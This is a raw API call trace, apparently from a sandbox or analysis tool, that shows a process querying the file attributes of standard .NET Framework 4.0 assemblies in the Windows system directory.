	[0088.428] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Net.NetworkInformation.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.net.networkinformation.dll"), fInfoLevelId=0x0, lpFileInformation=0x126c5138 | out: lpFileInformation=0x126c5138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x62bde820, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x7708)) returned 1
	[0088.428] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Net.Primitives.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.net.primitives.dll"), fInfoLevelId=0x0, lpFileInformation=0x126c5188 | out: lpFileInformation=0x126c5188*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x62c2aae0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x74d8)) returned 1
	[0088.428] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Net.Requests.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.net.requests.dll"), fInfoLevelId=0x0, lpFileInformation=0x126c51d8 | out: lpFileInformation=0x126c51d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x62c76da0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x72c8)) returned 1
	[0088.429] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Net.WebHeaderCollection.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.net.webheadercollection.dll"), fInfoLevelId=0x0, lpFileInformation=0x126c5228 | out: lpFileInformation=0x126c5228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x62c9cf00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x7110)) returned 1
	[0088.429] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Net.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.net.dll"), fInfoLevelId=0x0, lpFileInformation=0x126c5278 | out: lpFileInformation=0x126c5278*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x62af9fe0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x3ec98)) returned 1
	[0088.429] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Numerics.Vectors.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.numerics.vectors.dll"), fInfoLevelId=0x0, lpFileInformation=0x126c52c8 | out: lpFileInformation=0x126c52c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x681b6180, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x7ae8)) returned 1
	[0088.429] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Numerics.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.numerics.dll"), fInfoLevelId=0x0, lpFileInformation=0x126c5318 | out: lpFileInformation=0x126c5318*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x68190020, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x21ab8)) returned 1
	[0088.430] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.ObjectModel.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.objectmodel.dll"), fInfoLevelId=0x0, lpFileInformation=0x126c5368 | out: lpFileInformation=0x126c5368*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x62c9cf00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x74c8)) returned 1
	[0088.430] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Reflection.Emit.ILGeneration.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.reflection.emit.ilgeneration.dll"), fInfoLevelId=0x0, lpFileInformation=0x126c53b8 | out: lpFileInformation=0x126c53b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x62dcda00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x7330)) returned 1
	[0088.430] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Reflection.Emit.Lightweight.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.reflection.emit.lightweight.dll"), fInfoLevelId=0x0, lpFileInformation=0x126c5408 | out: lpFileInformation=0x126c5408*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x62e19cc0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x7328)) returned 1
	[0088.431] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Reflection.Emit.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.reflection.emit.dll"), fInfoLevelId=0x0, lpFileInformation=0x126c5458 | out: lpFileInformation=0x126c5458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x62da78a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x72e0)) returned 1
	[0088.431] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Reflection.Extensions.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.reflection.extensions.dll"), fInfoLevelId=0x0, lpFileInformation=0x126c54a8 | out: lpFileInformation=0x126c54a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x62e65f80, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x7300)) returned 1
	[0088.431] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Reflection.Primitives.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.reflection.primitives.dll"), fInfoLevelId=0x0, lpFileInformation=0x126c54f8 | out: lpFileInformation=0x126c54f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x62e8c0e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x7300)) returned 1
	[0088.431] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Reflection.context.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.reflection.context.dll"), fInfoLevelId=0x0, lpFileInformation=0x126c5548 | out: lpFileInformation=0x126c5548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x681dc2e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x1a4f0)) returned 1
	[0088.432] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Reflection.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.reflection.dll"), fInfoLevelId=0x0, lpFileInformation=0x126c5598 | out: lpFileInformation=0x126c5598*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x62d5b5e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x74c0)) returned 1
	[0088.432] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Resources.ResourceManager.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.resources.resourcemanager.dll"), fInfoLevelId=0x0, lpFileInformation=0x126c55e8 | out: lpFileInformation=0x126c55e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x62ed83a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x7318)) returned 1
	[0088.432] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Runtime.Caching.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.runtime.caching.dll"), fInfoLevelId=0x0, lpFileInformation=0x126c5638 | out: lpFileInformation=0x126c5638*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x65f7e540, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x1a378)) returned 1
	[0088.433] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Runtime.DurableInstancing.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.runtime.durableinstancing.dll"), fInfoLevelId=0x0, lpFileInformation=0x126c5688 | out: lpFileInformation=0x126c5688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x62f70920, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x2a318)) returned 1
	[0088.433] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Runtime.Extensions.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.runtime.extensions.dll"), fInfoLevelId=0x0, lpFileInformation=0x126c56d8 | out: lpFileInformation=0x126c56d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x62fbcbe0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x72f0)) returned 1
	[0088.434] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Runtime.Handles.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.runtime.handles.dll"), fInfoLevelId=0x0, lpFileInformation=0x126c5728 | out: lpFileInformation=0x126c5728*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x62fe2d40, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x72e0)) returned 1
	[0088.435] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Runtime.InteropServices.WindowsRuntime.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.runtime.interopservices.windowsruntime.dll"), fInfoLevelId=0x0, lpFileInformation=0x126c5778 | out: lpFileInformation=0x126c5778*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x6302f000, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x7370)) returned 1
	[0088.435] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Runtime.InteropServices.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.runtime.interopservices.dll"), fInfoLevelId=0x0, lpFileInformation=0x126c57c8 | out: lpFileInformation=0x126c57c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x62fe2d40, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x7f10)) returned 1
	[0088.435] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Runtime.Numerics.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.runtime.numerics.dll"), fInfoLevelId=0x0, lpFileInformation=0x126c5818 | out: lpFileInformation=0x126c5818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x6307b2c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x72e8)) returned 1
	[0088.436] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Runtime.Remoting.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.runtime.remoting.dll"), fInfoLevelId=0x0, lpFileInformation=0x126c5868 | out: lpFileInformation=0x126c5868*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x682285a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x544e8)) returned 1
	[0088.436] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Runtime.Serialization.Formatters.Soap.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.runtime.serialization.formatters.soap.dll"), fInfoLevelId=0x0, lpFileInformation=0x126c58b8 | out: lpFileInformation=0x126c58b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x68274860, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x22968)) returned 1
	[0088.436] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Runtime.Serialization.Json.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.runtime.serialization.json.dll"), fInfoLevelId=0x0, lpFileInformation=0x126c5908 | out: lpFileInformation=0x126c5908*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x631399a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x7320)) returned 1
	[0088.436] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Runtime.Serialization.Primitives.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.runtime.serialization.primitives.dll"), fInfoLevelId=0x0, lpFileInformation=0x126c5958 | out: lpFileInformation=0x126c5958*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x6315fb00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x7348)) returned 1
	[0088.437] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Runtime.Serialization.Xml.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.runtime.serialization.xml.dll"), fInfoLevelId=0x0, lpFileInformation=0x126c59a8 | out: lpFileInformation=0x126c59a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x631abdc0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x7318)) returned 1
	[0088.437] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Runtime.Serialization.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.runtime.serialization.dll"), fInfoLevelId=0x0, lpFileInformation=0x126c59f8 | out: lpFileInformation=0x126c59f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x630c7580, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xfd700)) returned 1
	[0088.437] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Runtime.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.runtime.dll"), fInfoLevelId=0x0, lpFileInformation=0x126c5a48 | out: lpFileInformation=0x126c5a48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x62efe500, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x92b0)) returned 1
	[0088.438] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Security.Principal.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.security.principal.dll"), fInfoLevelId=0x0, lpFileInformation=0x126c5a98 | out: lpFileInformation=0x126c5a98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x631f8080, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x72f0)) returned 1
	[0088.438] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Security.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.security.dll"), fInfoLevelId=0x0, lpFileInformation=0x126c5ae8 | out: lpFileInformation=0x126c5ae8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x682c0b20, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x460b8)) returned 1
	[0088.438] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.ServiceModel.Activation.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.servicemodel.activation.dll"), fInfoLevelId=0x0, lpFileInformation=0x126c5b38 | out: lpFileInformation=0x126c5b38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x6326a4a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x314f8)) returned 1
	[0088.439] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.ServiceModel.Activities.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.servicemodel.activities.dll"), fInfoLevelId=0x0, lpFileInformation=0x126c5b88 | out: lpFileInformation=0x126c5b88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x632b6760, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x88cf8)) returned 1
	[0088.439] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.ServiceModel.Channels.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.servicemodel.channels.dll"), fInfoLevelId=0x0, lpFileInformation=0x126c5bd8 | out: lpFileInformation=0x126c5bd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x63328b80, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x268f0)) returned 1
	[0088.439] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.ServiceModel.Discovery.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.servicemodel.discovery.dll"), fInfoLevelId=0x0, lpFileInformation=0x126c5c28 | out: lpFileInformation=0x126c5c28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x6339afa0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x4b6f8)) returned 1
	[0088.439] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.ServiceModel.Duplex.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.servicemodel.duplex.dll"), fInfoLevelId=0x0, lpFileInformation=0x126c5c78 | out: lpFileInformation=0x126c5c78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x63abf1a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x72f8)) returned 1
	[0088.440] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.ServiceModel.Http.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.servicemodel.http.dll"), fInfoLevelId=0x0, lpFileInformation=0x126c5cc8 | out: lpFileInformation=0x126c5cc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x63ae5300, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x74e8)) returned 1
	[0088.440] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.ServiceModel.Internals.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.servicemodel.internals.dll"), fInfoLevelId=0x0, lpFileInformation=0x126c5d18 | out: lpFileInformation=0x126c5d18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x63b57720, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x3d308)) returned 1
